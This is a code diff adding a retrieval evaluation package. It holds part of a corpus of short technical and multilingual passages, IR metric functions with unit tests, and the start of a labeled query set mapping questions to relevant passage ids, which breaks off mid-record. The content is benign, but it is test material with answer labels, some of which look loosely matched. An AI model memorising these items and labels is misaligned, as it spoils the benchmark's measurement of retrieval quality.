"id": "elasticsearch-mappings", + "content": "Elasticsearch mappings declare field types. text fields are analyzed (tokenized for full-text); keyword fields are stored as-is for filtering and aggregations. A common pattern is a multi-field: { type: 'text', fields: { raw: { type: 'keyword' } } } so you can search and aggregate on the same value. Reindex required for breaking mapping changes.", + "metadata": { "topic": "databases" } + }, + { + "id": "clickhouse-mergetree", + "content": "ClickHouse's MergeTree engine is a column store optimized for analytical queries. PARTITION BY and ORDER BY clauses control storage layout — usually partition by month and order by timestamp + a high-cardinality key. Materialized views (CREATE MATERIALIZED VIEW) maintain pre-aggregated tables that speed up dashboards.", + "metadata": { "topic": "databases" } + }, + { + "id": "dynamodb-keys", + "content": "DynamoDB tables have a partition key and an optional sort key (composite primary key). Queries within a partition use the sort key for range/begins_with/between. Global Secondary Indexes (GSI) project a different partition/sort key. Hot partitions cause throttling — design for even key distribution. Single-table design colocates entities by access pattern.", + "metadata": { "topic": "databases" } + }, + { + "id": "cassandra-consistency", + "content": "Apache Cassandra has tunable consistency. R + W > N gives strong consistency where N is the replication factor, R is read consistency level, W is write. Common choices: QUORUM for both R and W (R=W=majority), or LOCAL_QUORUM for multi-DC setups to avoid cross-DC latency on every read.", + "metadata": { "topic": "databases" } + }, + { + "id": "sqlite-wal", + "content": "SQLite WAL mode (journal_mode=WAL) lets readers proceed without blocking writers. The WAL file accumulates changes and is checkpointed back to the main database file. Multiple concurrent readers + one writer is the model. WAL is the right default for most desktop and embedded uses; rollback journal is the legacy default.", + "metadata": { "topic": "databases" } + }, + { + "id": "auth-oauth2", + "content": "OAuth 2.0 has multiple flows. Authorization Code (with PKCE) is for browser apps and SPAs. Client Credentials is for server-to-server. Implicit flow is deprecated. Refresh tokens trade for new access tokens — rotate them. Validate the audience claim in tokens; rejecting tokens minted for a different service is critical to preventing token replay.", + "metadata": { "topic": "security" } + }, + { + "id": "auth-jwt-vs-session", + "content": "Session cookies are server-side state; JWTs are client-side state. Sessions are easy to revoke (delete from the store) and small over the wire. JWTs scale horizontally without a session store but are hard to revoke before expiry — keep TTLs short (5-15 min) and pair with refresh tokens. Default to sessions unless you have a real reason to go stateless.", + "metadata": { "topic": "security" } + }, + { + "id": "secrets-management", + "content": "Production secrets live in a secrets manager — HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, or Doppler. Never commit them to git or paste them in Slack. Rotate quarterly. Use envelope encryption — the secret is encrypted by a KMS key, the KMS key is governed by IAM. Auditable, revocable, and integrates with most CI/CD systems.", + "metadata": { "topic": "security" } + }, + { + "id": "owasp-top-10", + "content": "OWASP Top 10 (2021): Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable Components, Identification and Authentication Failures, Software and Data Integrity Failures, Security Logging and Monitoring Failures, Server-Side Request Forgery. Treat as a checklist for security review, not a complete model.", + "metadata": { "topic": "security" } + }, + { + "id": "mfa-totp", + "content": "TOTP (RFC 6238) generates time-based one-time passwords from a shared secret and the current 30-second window. Tolerate ±1 step for clock drift. Provision via QR codes containing otpauth:// URIs. Hardware-backed factors (WebAuthn / passkeys) are stronger than TOTP — phishing-resistant by design. Enforce MFA on admin and production access at minimum.", + "metadata": { "topic": "security" } + }, + { + "id": "supply-chain", + "content": "Software supply chain security starts with knowing what you ship. Generate SBOMs (Software Bill of Materials) with Syft or CycloneDX in CI. Sign artifacts with Sigstore (cosign) so consumers can verify provenance. Pin transitive dependencies (lockfiles) and audit them with osv-scanner or similar. SLSA defines maturity levels for build provenance.", + "metadata": { "topic": "security" } + }, + { + "id": "spanish-postgres", + "content": "Para configurar el pool de conexiones en PostgreSQL, instale PgBouncer como proxy. Use el modo transaction para cargas OLTP de clientes cortos y session si los clientes mantienen estado de sesión como tablas temporales. El tamaño del pool debe ser aproximadamente (núcleos * 2) más el factor de E/S, no el número de hilos de la aplicación.", + "metadata": { "topic": "postgres", "lang": "es" } + }, + { + "id": "japanese-dedup", + "content": "リレーショナルデータベースで重複行を削除するには、ROW_NUMBER ウィンドウ関数を使用する方法が一般的です。 PARTITION BY で重複の単位を指定し、ORDER BY で残す行を決め、 ROW_NUMBER が 1 より大きい行を削除します。 Postgres では DELETE 文と CTE を組み合わせて実行します。", + "metadata": { "topic": "postgres", "lang": "ja" } + }, + { + "id": "french-redis", + "content": "Redis est un magasin clé-valeur en mémoire souvent utilisé comme cache devant une base de données. Configurez maxmemory et une politique d'éviction (allkeys-lru) pour les caches. Pour les sessions, préférez noeviction et augmentez maxmemory afin que les sessions ne soient pas perdues silencieusement. Activez la persistance AOF si la durabilité importe.", + "metadata": { "topic": "redis", "lang": "fr" } + }, + { + "id": "german-kubernetes", + "content": "Liveness-Probes in Kubernetes bestimmen, ob ein Container neu gestartet werden soll. Readiness-Probes bestimmen, ob ein Pod Traffic empfangen darf. Konfigurieren Sie initialDelaySeconds, periodSeconds und failureThreshold so, dass langsame Startphasen nicht zu vorzeitigen Neustarts führen. Trennen Sie liveness- und readiness-Endpunkte für robuste Cluster.", + "metadata": { "topic": "kubernetes", "lang": "de" } + }, + { + "id": "chinese-mongodb", + "content": "MongoDB 索引可以显著加快查询速度。复合索引的字段顺序应遵循 ESR 规则:先等值过滤,再排序字段,最后范围过滤。使用 explain('executionStats') 验证查询使用了预期的索引。在大型集合上创建索引时使用 background:true 以避免阻塞写入。", + "metadata": { "topic": "databases", "lang": "zh" } + }, + { + "id": "korean-react", + "content": "React Hook은 함수형 컴포넌트에서 상태와 부수 효과를 관리합니다. useState는 상태 값과 setter를 반환합니다. useEffect는 마운트, 업데이트, 언마운트 시 콜백을 실행합니다. 의존성 배열이 비어 있으면 마운트 시 한 번만, 명시되어 있으면 해당 값이 변경될 때마다 실행됩니다.", + "metadata": { "topic": "code", "lang": "ko" } + }, + { + "id": "portuguese-aws", + "content": "AWS S3 armazena objetos em buckets. Versionamento protege contra exclusão acidental. Políticas de ciclo de vida transitam objetos entre classes de armazenamento (Standard, IA, Glacier) ou expiram após um prazo. URLs pré-assinadas concedem acesso temporário via assinatura SigV4. Mantenha o Block Public Access habilitado por padrão.", + "metadata": { "topic": "cloud", "lang": "pt" } + }, + { + "id": "russian-postgres", + "content": "Настройка PostgreSQL для производственной нагрузки начинается с shared_buffers (обычно 25% оперативной памяти), work_mem (для сортировок и хешей), и maintenance_work_mem (для VACUUM и индексов). Увеличьте max_connections с осторожностью — каждое соединение потребляет память. Для пулинга используйте PgBouncer.", + "metadata": { "topic": "postgres", "lang": "ru" } + }, + { + "id": "arabic-tls", + "content": "بروتوكول TLS 1.3 يكمل المصافحة في رحلة ذهاب وإياب واحدة. يرسل العميل رسالة ClientHello مع مجموعات التشفير المدعومة ومفتاح المشاركة. يرد الخادم برسالة ServerHello وشهادته وتوقيع التحقق ورسالة Finished. تم اعتماد TLS 1.3 في RFC 8446 في أغسطس 2018.", + "metadata": { "topic": "networking", "lang": "ar" } + }, + { + "id": "hindi-python", + "content": "Python में अपवाद हैंडलिंग try, except, else, और finally ब्लॉक के साथ की जाती है। try ब्लॉक में संभावित त्रुटि कोड रखें। विशिष्ट अपवाद वर्गों को पकड़ें — bare except: से बचें। else तब चलता है जब कोई अपवाद नहीं होता। finally हमेशा चलता है, संसाधनों को साफ़ करने के लिए।", + "metadata": { "topic": "languages", "lang": "hi" } + }, + { + "id": "italian-rust", + "content": "Il sistema di ownership di Rust impone la sicurezza della memoria senza un garbage collector. Ogni valore ha un singolo proprietario; quando il proprietario esce dal suo scope, il valore viene rilasciato. Il borrow checker permette o un riferimento mutabile o molti riferimenti condivisi, mai entrambi contemporaneamente.", + "metadata": { "topic": "languages", "lang": "it" } + }, + { + "id": "vietnamese-go", + "content": "Goroutine là đơn vị đồng thời nhẹ trong Go — bắt đầu bằng từ khóa go. Channels (chan T) giao tiếp giữa các goroutine; gửi và nhận chặn theo mặc định. Câu lệnh select đa hợp các thao tác channel giống như switch. Channels có buffer tách biệt producer và consumer đến kích thước buffer.", + "metadata": { "topic": "languages", "lang": "vi" } + }, + { + "id": "prose-fog", + "content": "The fog rolled in over the harbor before sunrise, muffling the cries of gulls and softening the silhouettes of the moored boats. By the time the first ferry pushed off, the lighthouse beam was barely a smudge against the gray, and the pier creaked under footsteps that arrived without warning.", + "metadata": { "topic": "prose" } + }, + { + "id": "prose-poem", + "content": "Whose woods these are I think I know. His house is in the village though; he will not see me stopping here to watch his woods fill up with snow. The little horse must think it queer to stop without a farmhouse near, between the woods and frozen lake the darkest evening of the year.", + "metadata": { "topic": "prose" } + }, + { + "id": "prose-haiku", + "content": "An old silent pond — / a frog jumps into the pond, / splash! Silence again. // The morning glory blooms / for one day — only one day, / the same as me. // Light of the moon — / moves west, flowers' shadows / creep eastward.", + "metadata": { "topic": "prose" } + }, + { + "id": "algo-dijkstra", + "content": "Dijkstra's algorithm finds shortest paths from a source vertex in a non-negative-weight graph. With a binary heap priority queue, time is O((V+E) log V). For dense graphs prefer the array implementation at O(V^2). For graphs with negative weights, use Bellman-Ford instead. A* augments Dijkstra with a heuristic for goal-directed search.", + "metadata": { "topic": "algorithms" } + }, + { + "id": "algo-rrf", + "content": "Reciprocal Rank Fusion (RRF) combines rankings from multiple retrievers. For each document d, score(d) = sum over rankers r of 1 / (k + rank_r(d)) where k is a constant (usually 60). RRF is parameter-light, robust across query types, and reliably outperforms single-retriever approaches. The standard hybrid retrieval baseline is BM25 + dense embeddings combined via RRF.", + "metadata": { "topic": "algorithms" } + }, + { + "id": "algo-rolling-hash", + "content": "Rabin-Karp uses a rolling hash to find substring matches in O(n+m) average time. The hash slides one character at a time: hash(s[i+1..j]) = hash(s[i..j-1]) - s[i] * b^(m-1) + s[j] in modular arithmetic. Collisions require character-by-character verification. Useful for plagiarism detection and finding duplicate substrings.", + "metadata": { "topic": "algorithms" } + }, + { + "id": "algo-bloom-filter", + "content": "A Bloom filter is a probabilistic set membership data structure. Inserts and queries hash an element into k positions of a bit array. Queries return 'definitely not in set' or 'maybe in set' — no false negatives, but false positives at rate (1 - e^(-kn/m))^k. Counting Bloom filters support delete; cuckoo filters offer better space efficiency.", + "metadata": { "topic": "algorithms" } + }, + { + "id": "crypto-merkle", + "content": "A Merkle tree hashes pairs of children up to a single root hash. Verifying that a leaf is part of the tree requires only log(n) hashes (the sibling at each level). Used in Git (commit trees), Bitcoin and Ethereum (transaction roots), Certificate Transparency, and various distributed systems. The root hash commits to the entire dataset.", + "metadata": { "topic": "crypto" } + }, + { + "id": "crypto-ec", + "content": "Elliptic curve cryptography (ECC) gives equivalent security to RSA at much smaller key sizes. NIST P-256 and Curve25519 are the workhorses. ECDSA signs; ECDH does key exchange. P-256 is broadly compatible (JWT ES256, FIDO); Curve25519 is faster and avoids some implementation pitfalls but is less universally supported. secp256k1 is Bitcoin's curve.", + "metadata": { "topic": "crypto" } + }, + { + "id": "blockchain-consensus", + "content": "Blockchain consensus protocols choose the next block. Proof of Work (Bitcoin) is energy-intensive but Sybil-resistant. Proof of Stake (Ethereum, post-merge) chooses validators by staked capital. BFT-style protocols (Tendermint, HotStuff) reach finality in one round of voting at the cost of requiring a known validator set. Tradeoffs: throughput, finality time, and decentralization.", + "metadata": { "topic": "crypto" } + }, + { + "id": "otel-traces", + "content": "OpenTelemetry traces represent a request's journey across services. A trace is a tree of spans — each span has a name, start/end times, attributes, and parent. Propagate trace context via the W3C traceparent header. Sample wisely — head-based sampling decides at the start of the trace; tail-based decides after seeing the whole trace and can preserve errors and slow requests preferentially.", + "metadata": { "topic": "observability" } + }, + { + "id": "prometheus-pull", + "content": "Prometheus scrapes metrics from HTTP /metrics endpoints on a configurable interval. Targets can be discovered statically or via service discovery (Kubernetes, Consul, EC2). Counters increase; gauges go up and down; histograms bucket observations. Alertmanager handles alert routing, deduplication, and silencing. For ephemeral jobs, push to Pushgateway and let Prometheus scrape that.", + "metadata": { "topic": "observability" } + }, + { + "id": "grafana-dashboards", + "content": "Grafana dashboards visualize time-series and log data. Variables (template) parameterize panels — dashboard-wide selectors filter every panel. Transformations reshape query results client-side: join, filter, calculate field. Use stat panels for KPIs, time series for trends, table for inspection. Avoid >20 panels per dashboard; split by use case instead.", + "metadata": { "topic": "observability" } + }, + { + "id": "log-best-practices", + "content": "Logging best practices: use structured logs (JSON) with consistent fields (level, ts, service, request_id, span_id). Pick fewer levels well — DEBUG, INFO, WARN, ERROR. Log inputs at the boundary, not inside loops. Never log secrets, full credit cards, or full PII. Sample high-volume logs; capture errors fully. Tie logs to traces with span_id.", + "metadata": { "topic": "observability" } + }, + { + "id": "structured-logging", + "content": "Structured logging emits machine-readable records (typically JSON) with named fields. Modern logging libraries (zap, slog, pino, structlog) make this idiomatic. Standard fields: timestamp, level, message, service, version, request_id, trace_id. Avoid printf-style formatting; preserve field types so queries can filter and aggregate by them.", + "metadata": { "topic": "observability" } + }, + { + "id": "kafka-partitions", + "content": "Kafka partitions a topic across brokers. Each partition is an ordered log; ordering is per-partition, not global. Producers route messages to partitions by key (hash) so messages with the same key land on the same partition. Consumers in a group split partitions among themselves. Adding partitions is one-way — consumer state and ordering get complicated; over-provision early.", + "metadata": { "topic": "messaging" } + }, + { + "id": "rabbitmq-exchanges", + "content": "RabbitMQ routes messages from publishers to queues via exchanges. Direct exchanges route by exact routing key. Topic exchanges route by routing-key pattern (a.b.*). Fanout broadcasts to all bound queues. Headers exchanges match on header attributes. Bindings declare which queues subscribe to which patterns. Use queue arguments (TTL, max-length) to bound resource usage.", + "metadata": { "topic": "messaging" } + }, + { + "id": "nats-jetstream", + "content": "NATS JetStream adds durable streams on top of core NATS. Streams are append-only logs with retention policies (limits, interest, work-queue). Consumers can be push or pull, durable or ephemeral. Acks tell the server a message was processed; nak tells it to redeliver. JetStream gives at-least-once with idempotency via msg-id headers.", + "metadata": { "topic": "messaging" } + }, + { + "id": "aws-sqs-fifo", + "content": "AWS SQS FIFO queues guarantee in-order delivery and exactly-once processing within a 5-minute deduplication window. Messages share a MessageGroupId — ordering is per-group, not queue-wide. MessageDeduplicationId is content-hash by default; set it explicitly when content is non-deterministic. Throughput is limited (300 msgs/sec per group, 3000 with batching).", + "metadata": { "topic": "messaging" } + } +] diff --git a/evaluations/metrics.test.ts b/evaluations/metrics.test.ts new file mode 100644 index 0000000..f8a5d93 --- /dev/null +++ b/evaluations/metrics.test.ts @@ -0,0 +1,58 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { dcgAt, ndcgAt, reciprocalRank, recallAt, mean } from "./metrics.js"; + +test("dcgAt: empty list and zero k produce 0", () => { + assert.equal(dcgAt([], 10), 0); + assert.equal(dcgAt([1, 1, 1], 0), 0); +}); + +test("dcgAt: perfect top-1 binary relevance equals 1", () => { + // dcg = (2^1 - 1) / log2(2) = 1 + assert.equal(dcgAt([1], 1), 1); +}); + +test("ndcgAt: perfect ranking is 1.0", () => { + // 3 relevant docs, all retrieved at top — should be 1. + assert.equal(ndcgAt([1, 1, 1], 3, 10), 1); +}); + +test("ndcgAt: relevant doc demoted scores < 1", () => { + const ranked = ndcgAt([0, 0, 1], 1, 10); + const ideal = ndcgAt([1, 0, 0], 1, 10); + assert.ok(ranked < ideal); + assert.ok(ranked > 0); +}); + +test("ndcgAt: zero relevant docs returns 0", () => { + assert.equal(ndcgAt([0, 0, 0], 0, 10), 0); +}); + +test("reciprocalRank: first relevant at rank 1 → 1.0", () => { + assert.equal(reciprocalRank([1, 0, 1]), 1); +}); + +test("reciprocalRank: first relevant at rank 3 → 1/3", () => { + assert.ok(Math.abs(reciprocalRank([0, 0, 1]) - 1 / 3) < 1e-9); +}); + +test("reciprocalRank: no relevant docs → 0", () => { + assert.equal(reciprocalRank([0, 0, 0]), 0); +}); + +test("recallAt: half of relevant docs found in top-k", () => { + assert.equal(recallAt([1, 0, 1, 0], 4, 10), 0.5); +}); + +test("recallAt: caps at k", () => { + // Only first 2 retrieved positions count when k=2. + assert.equal(recallAt([0, 0, 1, 1], 2, 2), 0); +}); + +test("mean: empty list returns 0", () => { + assert.equal(mean([]), 0); +}); + +test("mean: simple average", () => { + assert.equal(mean([1, 2, 3, 4]), 2.5); +}); diff --git a/evaluations/metrics.ts b/evaluations/metrics.ts new file mode 100644 index 0000000..b1caa67 --- /dev/null +++ b/evaluations/metrics.ts @@ -0,0 +1,51 @@ +/** + * IR metrics for the eval harness. Binary relevance: a doc is either + * relevant (1) or not (0). Graded relevance is a possible extension; the + * NDCG implementation already supports it via `gain()`. + */ + +/** Discounted Cumulative Gain at k. With binary relevance, gain = rel. */ +export function dcgAt(relevance: number[], k: number): number { + let dcg = 0; + for (let i = 0; i < Math.min(k, relevance.length); i++) { + const rel = relevance[i] ?? 0; + // 2^rel - 1 form generalizes to graded relevance; equals rel when rel ∈ {0,1}. + dcg += (Math.pow(2, rel) - 1) / Math.log2(i + 2); + } + return dcg; +} + +/** + * Normalized DCG at k. Returns 0 for queries with no relevant docs (the + * IDCG denominator is 0 — those queries should typically be skipped, but + * we return 0 so the caller can decide). + */ +export function ndcgAt(retrievedRelevance: number[], totalRelevant: number, k: number): number { + if (totalRelevant === 0) return 0; + const dcg = dcgAt(retrievedRelevance, k); + // Ideal: as many 1s as totalRelevant, capped at k. + const ideal = Array.from({ length: Math.min(totalRelevant, k) }, () => 1); + const idcg = dcgAt(ideal, k); + return idcg === 0 ? 0 : dcg / idcg; +} + +/** Reciprocal rank of the first relevant doc (1-indexed). 0 if none. */ +export function reciprocalRank(retrievedRelevance: number[]): number { + for (let i = 0; i < retrievedRelevance.length; i++) { + if ((retrievedRelevance[i] ?? 0) > 0) return 1 / (i + 1); + } + return 0; +} + +/** Recall at k: fraction of all relevant docs found in the top-k. */ +export function recallAt(retrievedRelevance: number[], totalRelevant: number, k: number): number { + if (totalRelevant === 0) return 0; + const hits = retrievedRelevance.slice(0, k).reduce((s, r) => s + (r > 0 ? 1 : 0), 0); + return hits / totalRelevant; +} + +/** Average a list of numbers; returns 0 for empty input. */ +export function mean(xs: number[]): number { + if (xs.length === 0) return 0; + return xs.reduce((a, b) => a + b, 0) / xs.length; +} diff --git a/evaluations/package.json b/evaluations/package.json new file mode 100644 index 0000000..ab05aa5 --- /dev/null +++ b/evaluations/package.json @@ -0,0 +1,20 @@ +{ + "name": "@augur/evaluations", + "version": "0.0.0", + "description": "Eval harness, corpus, and labeled queries for Augur retrieval testing. Not published to npm — private workspace package.", + "private": true, + "type": "module", + "scripts": { + "eval": "tsx cli.ts", + "test": "node --test --import tsx '**/*.test.ts'", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { + "@augur/core": "workspace:*" + }, + "devDependencies": { + "@types/node": "^20.11.0", + "tsx": "^4.7.0", + "typescript": "^5.4.0" + } +} diff --git a/evaluations/queries.json b/evaluations/queries.json new file mode 100644 index 0000000..3566f32 --- /dev/null +++ b/evaluations/queries.json @@ -0,0 +1,3666 @@ +[ + { + "query": "who created PgBouncer?", + "relevant": [ + "pg-pooling" + ], + "category": "factoid" + }, + { + "query": "when was TLS 1.3 standardized?", + "relevant": [ + "tls-handshake" + ], + "category": "factoid" + }, + { + "query": "where does Redis store data on disk?", + "relevant": [ + "redis-cache", + "redis-cluster" + ], + "category": "factoid" + }, + { + "query": "which kubernetes object handles RBAC permissions?", + "relevant": [ + "k8s-rbac" + ], + "category": "factoid" + }, + { + "query": "what version of Python introduced no-GIL?", + "relevant": [ + "python-gil" + ], + "category": "factoid" + }, + { + "query": "who maintains Apache Kafka?", + "relevant": [ + "kafka-partitions" + ], + "category": "factoid" + }, + { + "query": "when was RFC 9110 published?", + "relevant": [ + "rfc-9110" + ], + "category": "factoid" + }, + { + "query": "where does the OOM killer log events?", + "relevant": [ + "err-oom" + ], + "category": "factoid" + }, + { + "query": "which cipher curves does Bitcoin use?", + "relevant": [ + "crypto-ec" + ], + "category": "factoid" + }, + { + "query": "what year did Log4Shell hit?", + "relevant": [ + "cve-log4shell" + ], + "category": "factoid" + }, + { + "query": "who manages cloud Pub/Sub on Google Cloud?", + "relevant": [ + "gcp-pubsub" + ], + "category": "factoid" + }, + { + "query": "when do TOTP codes rotate?", + "relevant": [ + "mfa-totp" + ], + "category": "factoid" + }, + { + "query": "where does Acme keep on-call handoff notes?", + "relevant": [ + "on-call-handoff" + ], + "category": "factoid" + }, + { + "query": "which command rolls back a Kubernetes Deployment?", + "relevant": [ + "k8s-deployments" + ], + "category": "factoid" + }, + { + "query": "what is the default Helm release strategy?", + "relevant": [ + "k8s-helm" + ], + "category": "factoid" + }, + { + "query": "who runs Acme's quarterly access review?", + "relevant": [ + "access-review" + ], + "category": "factoid" + }, + { + "query": "when does Acme's vacation policy require advance notice?", + "relevant": [ + "vacation-policy" + ], + "category": "factoid" + }, + { + "query": "where does Acme store SBOMs?", + "relevant": [ + "supply-chain" + ], + "category": "factoid" + }, + { + "query": "which AWS service provides versioned object storage?", + "relevant": [ + "aws-s3" + ], + "category": "factoid" + }, + { + "query": "what algorithm does Dijkstra solve?", + "relevant": [ + "algo-dijkstra" + ], + "category": "factoid" + }, + { + "query": "who designed the Transformer architecture?", + "relevant": [ + "ml-transformer" + ], + "category": "factoid" + }, + { + "query": "when does Acme rotate production credentials?", + "relevant": [ + "secret-rotation" + ], + "category": "factoid" + }, + { + "query": "where does ArgoCD pull manifests from?", + "relevant": [ + "gitops-argocd" + ], + "category": "factoid" + }, + { + "query": "which exchange type fans out messages in RabbitMQ?", + "relevant": [ + "rabbitmq-exchanges" + ], + "category": "factoid" + }, + { + "query": "what hash function does Bitcoin's curve use?", + "relevant": [ + "crypto-ec" + ], + "category": "factoid" + }, + { + "query": "how do I configure connection pooling for many short-lived clients?", + "relevant": [ + "pg-pooling" + ], + "category": "procedural" + }, + { + "query": "why does my pod keep getting restarted by kubernetes?", + "relevant": [ + "k8s-probes" + ], + "category": "procedural" + }, + { + "query": "how do I fix vacuum bloat on a large table without locking writes?", + "relevant": [ + "pg-vacuum" + ], + "category": "procedural" + }, + { + "query": "how do I set up logical replication between two postgres databases?", + "relevant": [ + "pg-replication" + ], + "category": "procedural" + }, + { + "query": "why does the OOM killer terminate my container?", + "relevant": [ + "err-oom", + "k8s-resources" + ], + "category": "procedural" + }, + { + "query": "how do I roll back a kubernetes deployment safely?", + "relevant": [ + "k8s-deployments", + "runbook-deploy-rollback" + ], + "category": "procedural" + }, + { + "query": "how should I migrate from useEffect to React Server Components?", + "relevant": [ + "react-server-components", + "react-effects" + ], + "category": "procedural" + }, + { + "query": "why is my postgres query using a sequential scan instead of an index?", + "relevant": [ + "pg-explain", + "pg-indexes" + ], + "category": "procedural" + }, + { + "query": "how do I implement zero-downtime deployments with rolling updates?", + "relevant": [ + "k8s-deployments", + "production-deploy-checklist" + ], + "category": "procedural" + }, + { + "query": "why is my fetch request being blocked by CORS?", + "relevant": [ + "cors-policy" + ], + "category": "procedural" + }, + { + "query": "how do I handle errors in Rust without panicking?", + "relevant": [ + "rust-error-handling" + ], + "category": "procedural" + }, + { + "query": "how do I run async code concurrently in Python?", + "relevant": [ + "python-asyncio" + ], + "category": "procedural" + }, + { + "query": "why does my goroutine leak?", + "relevant": [ + "go-goroutines", + "go-context" + ], + "category": "procedural" + }, + { + "query": "how should I structure a Terraform module for multiple environments?", + "relevant": [ + "terraform-modules", + "terraform-state" + ], + "category": "procedural" + }, + { + "query": "how do I configure GitHub Actions to cache npm dependencies?", + "relevant": [ + "github-actions" + ], + "category": "procedural" + }, + { + "query": "why is my Lambda function taking forever to cold start?", + "relevant": [ + "aws-lambda" + ], + "category": "procedural" + }, + { + "query": "how do I prevent N+1 queries in Django?", + "relevant": [ + "django-orm" + ], + "category": "procedural" + }, + { + "query": "how should I respond to a security incident at Acme?", + "relevant": [ + "security-incident-response" + ], + "category": "procedural" + }, + { + "query": "why does my JWT token verification keep failing?", + "relevant": [ + "rfc-7519-jwt", + "x509-verify" + ], + "category": "procedural" + }, + { + "query": "how do I design a pagination strategy for large datasets?", + "relevant": [ + "pg-explain", + "pg-indexes" + ], + "category": "procedural" + }, + { + "query": "how do I set up mTLS between two services?", + "relevant": [ + "mtls" + ], + "category": "procedural" + }, + { + "query": "why do my Promise.all calls fail unexpectedly?", + "relevant": [ + "promise-pitfalls" + ], + "category": "procedural" + }, + { + "query": "how do I implement an atomic counter in Redis?", + "relevant": [ + "redis-lua" + ], + "category": "procedural" + }, + { + "query": "why is my Kafka consumer falling behind on a single partition?", + "relevant": [ + "kafka-partitions" + ], + "category": "procedural" + }, + { + "query": "how do I set up automatic failover for Postgres?", + "relevant": [ + "runbook-database-failover", + "pg-replication" + ], + "category": "procedural" + }, + { + "query": "how do I follow the Acme deploy checklist before merging to main?", + "relevant": [ + "production-deploy-checklist", + "code-review-guidelines" + ], + "category": "procedural" + }, + { + "query": "how do I onboard as a new engineer at Acme?", + "relevant": [ + "new-hire-onboarding" + ], + "category": "procedural" + }, + { + "query": "why is my Elasticsearch query returning no results despite matching data?", + "relevant": [ + "elasticsearch-mappings" + ], + "category": "procedural" + }, + { + "query": "how do I tune Postgres for a write-heavy workload?", + "relevant": [ + "pg-vacuum", + "pg-wal", + "russian-postgres" + ], + "category": "procedural" + }, + { + "query": "how do I implement a blameless postmortem at Acme?", + "relevant": [ + "incident-postmortem-template" + ], + "category": "procedural" + }, + { + "query": "what is logical replication in postgres", + "relevant": [ + "pg-replication" + ], + "category": "definitional" + }, + { + "query": "what is the rust borrow checker exactly", + "relevant": [ + "rust-ownership", + "italian-rust" + ], + "category": "definitional" + }, + { + "query": "what is the python GIL and why does it matter", + "relevant": [ + "python-gil" + ], + "category": "definitional" + }, + { + "query": "what is ZeRO-3 sharding in distributed training", + "relevant": [ + "ml-fsdp" + ], + "category": "definitional" + }, + { + "query": "what is BPE tokenization", + "relevant": [ + "ml-tokenizers" + ], + "category": "definitional" + }, + { + "query": "what does reciprocal rank fusion compute", + "relevant": [ + "algo-rrf" + ], + "category": "definitional" + }, + { + "query": "what is a Bloom filter useful for", + "relevant": [ + "algo-bloom-filter" + ], + "category": "definitional" + }, + { + "query": "what are React Server Components", + "relevant": [ + "react-server-components" + ], + "category": "definitional" + }, + { + "query": "what does the OWASP Top 10 cover", + "relevant": [ + "owasp-top-10" + ], + "category": "definitional" + }, + { + "query": "what is OAuth 2.0 PKCE", + "relevant": [ + "auth-oauth2" + ], + "category": "definitional" + }, + { + "query": "what is SOC 2 Type II", + "relevant": [ + "compliance-soc2" + ], + "category": "definitional" + }, + { + "query": "what does HIPAA require for PHI", + "relevant": [ + "compliance-hipaa" + ], + "category": "definitional" + }, + { + "query": "what is GDPR's lawful basis for processing", + "relevant": [ + "compliance-gdpr" + ], + "category": "definitional" + }, + { + "query": "what is RAG retrieval augmented generation", + "relevant": [ + "ml-rag" + ], + "category": "definitional" + }, + { + "query": "what is LoRA fine-tuning", + "relevant": [ + "ml-fine-tuning" + ], + "category": "definitional" + }, + { + "query": "what is RLHF in language model training", + "relevant": [ + "ml-rlhf" + ], + "category": "definitional" + }, + { + "query": "what is a Merkle tree used for", + "relevant": [ + "crypto-merkle" + ], + "category": "definitional" + }, + { + "query": "what is QUIC and HTTP/3", + "relevant": [ + "quic-http3" + ], + "category": "definitional" + }, + { + "query": "what is an Acme architecture decision record", + "relevant": [ + "adr-template" + ], + "category": "definitional" + }, + { + "query": "what is OpenTelemetry tracing", + "relevant": [ + "otel-traces" + ], + "category": "definitional" + }, + { + "query": "what is Apache Cassandra tunable consistency", + "relevant": [ + "cassandra-consistency" + ], + "category": "definitional" + }, + { + "query": "what does Kubernetes RBAC do", + "relevant": [ + "k8s-rbac" + ], + "category": "definitional" + }, + { + "query": "what is a StatefulSet for", + "relevant": [ + "k8s-statefulsets" + ], + "category": "definitional" + }, + { + "query": "what is a NetworkPolicy in Kubernetes", + "relevant": [ + "k8s-networkpolicy" + ], + "category": "definitional" + }, + { + "query": "what is the JIT in Postgres", + "relevant": [ + "pg-explain" + ], + "category": "definitional" + }, + { + "query": "what does a Bloom filter trade off", + "relevant": [ + "algo-bloom-filter" + ], + "category": "definitional" + }, + { + "query": "what is the difference between sessions and JWTs", + "relevant": [ + "auth-jwt-vs-session" + ], + "category": "definitional" + }, + { + "query": "what is structured logging", + "relevant": [ + "structured-logging", + "log-best-practices" + ], + "category": "definitional" + }, + { + "query": "what is GitOps with ArgoCD", + "relevant": [ + "gitops-argocd" + ], + "category": "definitional" + }, + { + "query": "what is a multi-stage Docker build", + "relevant": [ + "docker-multistage" + ], + "category": "definitional" + }, + { + "query": "what is the SLSA framework", + "relevant": [ + "supply-chain" + ], + "category": "definitional" + }, + { + "query": "what is workload identity federation", + "relevant": [ + "gcp-iam" + ], + "category": "definitional" + }, + { + "query": "what is CSS subgrid", + "relevant": [ + "css-flex-grid" + ], + "category": "definitional" + }, + { + "query": "what is INP in Core Web Vitals", + "relevant": [ + "web-perf-cwv" + ], + "category": "definitional" + }, + { + "query": "useState", + "relevant": [ + "code-snippet", + "code-react-hook" + ], + "category": "code" + }, + { + "query": "pg_repack", + "relevant": [ + "pg-vacuum" + ], + "category": "code" + }, + { + "query": "kubectl rollout undo", + "relevant": [ + "k8s-deployments" + ], + "category": "code" + }, + { + "query": "rbac.authorization.k8s.io", + "relevant": [ + "k8s-rbac" + ], + "category": "code" + }, + { + "query": "pool_mode=transaction", + "relevant": [ + "pg-pooling" + ], + "category": "code" + }, + { + "query": "asyncio.gather", + "relevant": [ + "python-asyncio", + "code-python-asyncio" + ], + "category": "code" + }, + { + "query": "select_related", + "relevant": [ + "django-orm" + ], + "category": "code" + }, + { + "query": "useEffect dependency array", + "relevant": [ + "react-effects", + "code-react-hook" + ], + "category": "code" + }, + { + "query": "Promise.allSettled", + "relevant": [ + "promise-pitfalls" + ], + "category": "code" + }, + { + "query": "go func channel", + "relevant": [ + "code-go-goroutine", + "go-goroutines" + ], + "category": 